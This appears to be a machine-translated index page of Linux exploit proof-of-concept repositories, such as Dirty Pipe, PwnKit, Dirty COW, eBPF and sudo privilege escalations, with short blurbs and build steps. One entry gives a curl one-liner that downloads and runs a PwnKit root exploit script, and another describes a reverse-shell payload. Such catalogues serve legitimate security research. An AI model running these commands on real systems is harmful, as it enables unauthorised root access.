CVE-2018-3639

CVE-2018-3639 Linux용 추측적 저장 우회 CVE-2018-3639 개념 증명 다운로드 root@kitploit: git clone [email protected]:mmxsrup/CVE-2018-3639.git 빌드 root@kitploit: cd CVE-2018-3639 make 실행 root@kitploit: ./specter 출력 root@kitploit: $ ./spectre idx: 0, highest:P, hitrate:21.340000 idx: 1, highest:A,...

CVE-2022-0847

CVE-2022-0847 리눅스 “Dirty Pipe” 취약점으로 권한 없는 사용자가 루트 접근 권한을 얻음...

CVE-2021-22555

CVE-2021-22555 리눅스 커널 2.6.19 5.9 - 'Netfilter 로컬 권한 상승'...

vinieger-CVE-2025-48384-Dockerfile

vinieger-CVE-2025-48384-Dockerfile これは、CVE-2025-48384 用の PoC Dockerfile イメージを提供します。https://github.com/vinieger/CVE-2025-48384 に関連しており、Kubernetes クラスター内でテストできます。 GKE へのデプロイ: GCP レジストリへのビルドと公開: your registry path を変更してください root@kitploit: IMAGE="/alpine-cve-2025-48384:latest" Build and push docker...

CVE-2021-4034-CTF-writeup

CVE-2021-4034-CTF-writeup 이것은 CVE-2021-4034 취약점을 악용해야 하는 제가 C로 작성한 CTF pwn 문제입니다. 플레이어는 이 저장소의 challenge 디렉터리에 있는 2개의 바이너리를 받습니다. chal 바이너리는 CTF 문제를 구현하고, shelly.so는 도우미 바이너리입니다. 이 문제를 에뮬레이션하는 방법 이 글을 작성할 당시 Dockerfile은 아직 완성되지 않았습니다. Dockerfile은 라이브 CTF 중에 이 문제를 배포하는 데 필요하지만 로컬에서는 필요하지 않습니다: 다음과...

CVE-2022-23222

CVE-2022-23222 그냥 빌드하고 실행하고 싶다면 여기를 클릭하세요. 다음 내용은 대략 중국어 라이트업의 번역이며, 여기에서 확인할 수 있습니다. 참조로 버전 5.13.0의 메인라인 커널 코드를 사용할 것입니다. 사용 가능한 포인터 유형과 그 경계를 확인하는 함수 사이에 불일치가 있습니다. 이 불일치는 Linux 5.8에서 처음 도입되었으며 이후 패치되었습니다. 사용 가능한 포인터 유형 목록은 여기에서 확인할 수 있습니다.c / types of values stored in eBPF registers / / Pointe...

dirtycaw-projet

Dirty COW - 권한 상승 CVE-2016-5195 이 프로젝트는 Ubuntu Server 16.04.1과 커널 4.4.0-31-generic을 실행하는 가상 머신에서 Dirty COW 취약점을 이용한 권한 상승을 시연합니다. 🔧 환경 피해 머신 : 취약한 Ubuntu 16.04.1 student, 권한 없음 공격 머신 : Docker가 설치된 Kali Linux 🐮 취약점 Dirty COWCVE-2016-5195는 Linux 커널의 메모리 하위 시스템에서 발생하는 경쟁 조건race condition입니다. 권한이 없는...

trans2open-CVE-2003-0201

Samba 버전 2.2.0 2.2.8 이 취약점은 Samba 버전 2.2.0에서 2.2.8에서 발견된 버퍼 오버플로를 익스플로잇합니다. 이 특정 모듈은 noexec 스택 옵션이 설정되지 않은 x86 Linux 시스템에서 해당 결함을 익스플로잇할 수 있습니다. 참고: 일부 오래된 RedHat 버전은 IPC에 대한 익명 접근을 허용하지 않기 때문에 취약하지 않은 것으로 보입니다. CVE CVE-2003-0201 OSVDB-4469 BID-7294 컴파일 gcc trans2open.c -o trans2open Metasploit...

CVE-2025-32463

많이 영향을 받고, 복사되고, 기반이 된 형식은 pr0v3rbs 의 유사한 저장소https://github.com/pr0v3rbs/CVE-2025-32463i\chwoot.git의 형식을 따릅니다. 이것은 빠르고 단일 소스 전달, 실행 및 정리를 위한 C 재구현입니다. CVE-2025-32463 – sudo chroot"chwoot" PoC 이 저장소는 sudo의 chroot 기능에서 CVE‑2025‑32463 권한 상승 결함을 입증하기 위한 최소한의 재현 가능 환경을 제공합니다. 이 취약점은 Stratascale의 Rich...

CVE-2022-0185-POC

CVE-2022-0185 — 개념 증명 CVE-2022-0185 에 대한 개념 증명 익스플로잇으로, Linux 커널의 legacyparseparam 함수fs/fscontext.c에서 발생하는 힙 기반 버퍼 오버플로우입니다. 이 취약점을 통해 로컬의 비특권 사용자가 root로 권한을 상승시킬 수 있습니다. 원본 익스플로잇: Crusaders of Rust. 전체 분석 문서: https://www.willsroot.io/2022/01/cve-2022-0185.html 취약점 이 버그는 legacyparseparam 내부의 경계...

CVE-2021-4204

CVE-2021-4204 중국어 분석글: https://tr3e.ee/posts/cve-2021-4204-linux-kernel-ebpf-lpe.txt 교육/연구 목적으로만 사용하십시오. 사용에 따른 책임은 본인에게 있습니다. 빌드 및 실행 root@kitploit: $ sh buildandrun.sh Build from source... cc -I include -static -w -o exploit exploit.c Start exploit! This might take some while... phase1/7 'creat...

nasm_linux_x86_64_pure_sharedlib

NASM Linux x8664 순수 의존성 없음 공유 라이브러리 .so "Reflective SO Injection"으로 테스트되었습니다. 메모리에서 호스트 프로세스로 라이브러리를 로드하기 위해 반사 프로그래밍reflective programming 개념을 사용하는 라이브러리 주입 기법입니다. https://github.com/infosecguerrilla/ReflectiveSOInjection Reflective ELF SO Injection Linux x8664 인젝터 다운로드 및 컴파일 root@kitploit: git...

CVE-2023-0179-POC-

CVE-2023-0179 POC 크레딧: https://github.com/TurtleARM 재현 단계 Ubuntu-22.04.5-live-server-iso를 설치하고 해당 버전을 전체 설치하되, 시스템을 업데이트하지 마세요. Ubuntu 24.04.5 버전을 사용하는 가상 머신에 Linux 커널 6.1.6 버전을 설치하세요. 커널을 컴파일하기 위해 다음 바이너리를 설치하세요. root@kitploit: build-essential libncurses-dev bison flex libssl-dev libelf-dev bc...

Penetration-Testing-Tools

나의 침투 테스트 도구, 스크립트, 치트시트 모음 이것은 수년간 침투 테스트 및 IT 보안 감사 목적으로 개발해 온 160개 이상 의 도구, 스크립트, 치트시트 및 기타 유용한 자료들의 모음입니다. 대부분은 실제 업무 중 최소 한 번 이상 유용하게 사용되었습니다. 공지: 이 저장소를 제대로 복제하려면 --recurse-submodules 스위치를 사용하세요: root@kitploit: git clone --recurse https://github.com/mgeeky/Penetration-Testing-Tools.git 이 파일...

metasploitable-penetration-testing-lab

🔐 Metasploitable 2 침투 테스트 연구실 격리된 가상 환경에서 취약점 발견, 익스플로잇, 사후 익스플로잇 검증, 방어적 완화를 보여주는 통제된 사이버보안 연구실 프로젝트입니다. 📌 프로젝트 개요 이 프로젝트는 통제된 가상 연구실에서 수행된 실제 침투 테스트 업무를 시뮬레이션합니다. 목표는 취약한 시스템의 노출된 서비스를 식별하고, 중요 취약점을 탐지하며, 통제된 익스플로잇을 수행하고, 시스템 장악을 검증하며, 완화 전략을 구현하는 것이었습니다. 이 프로젝트는 공격 및 방어 사이버보안 역량을 모두 보여줍니다. 🏗 실...

CVE-2021-3490-POC

CVE-2021-3490 크레딧: https://github.com/chompie1337 재현 단계 Ubuntu Releases에서 ubuntu-20.04.6-live-server-amd64.iso를 다운로드하여 가상 머신에 설치합니다. root@kitploit: wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso ISO 설치 후, Ubuntu 서버를 가상 머신에 완전히 설치하고 다음 명령어를 실행합니다. root@kitploit: sudo a...

PwnKit_CVE-2021-4034

PwnKit CVE-2021-4034에 대한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승 사용법 Ubuntu, Debian, Fedora 및 CentOS 기반의 취약한 Linux 배포판에서 바로 사용할 수 있습니다. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKitCVE-2021-4034/main/PwnKit.sh" 수동 실행 root@kitploit: curl -fsSL...

POC-IngressNightmare-CVE-2025-1974

Shell.so 빌더 Alpine 기반 이 프로젝트는 Docker 컨테이너 내에서 Alpine Linux를 사용하여 shell.so 페이로드를 빌드할 수 있게 해줍니다. 사용 방법 1. 저장소 클론 : git clone cd 2. 페이로드 빌드 : ./runbuild.sh 컴파일된 shell.so가 프로젝트 루트 디렉토리에 생성됩니다. ⚠️ 중요: 리버스 셸 IP와 포트는 shell.c에 하드코딩되어 있습니다. 페이로드를 빌드하기 전에 업데이트하십시오...

CVE-2025-38352-PoC

CVE-2025-38352: Linux 커널 POSIX CPU 타이머 TOCTOU 경쟁 조건 및 UAF CVE-2025-38352 에 대한 재현 가능한 Proof-of-ConceptPoC 및 자동화된 GDB 오케스트레이션 스크립트로, 이는 Linux 커널의 POSIX CPU 타이머 서브시스템kernel/time/posix-cpu-timers.c에서 발생하는 Time-of-Check to Time-of-UseTOCTOU 경쟁 조건으로 인해 Use-After-FreeUAF가 발생하는 취약점입니다. 면책 조항: 이 프로젝트는 교육,...

CVE-2024-3094-analysis

CVE-2024-3094 – 실제 공급망 위협 CVE-2024-3094란 무엇인가? CVE-2024-3094는 xz 압축 라이브러리에서 발견된 주요 백도어 취약점입니다. 공격자는 이를 통해 SSH를 경유하여 원격으로 코드를 실행할 수 있습니다. 이 취약점은 의도적으로 삽입되었으며 많은 Linux 시스템의 핵심 부분에 영향을 미칩니다. 이 프로젝트는 무슨 일이 있었는지, 백도어가 어떻게 작동하는지, 보호를 위해 무엇을 할 수 있는지 이해하는 것을 목표로 합니다. CVE-2024-3094는 왜 위험한가? 이 취약점은 공격자가 보호...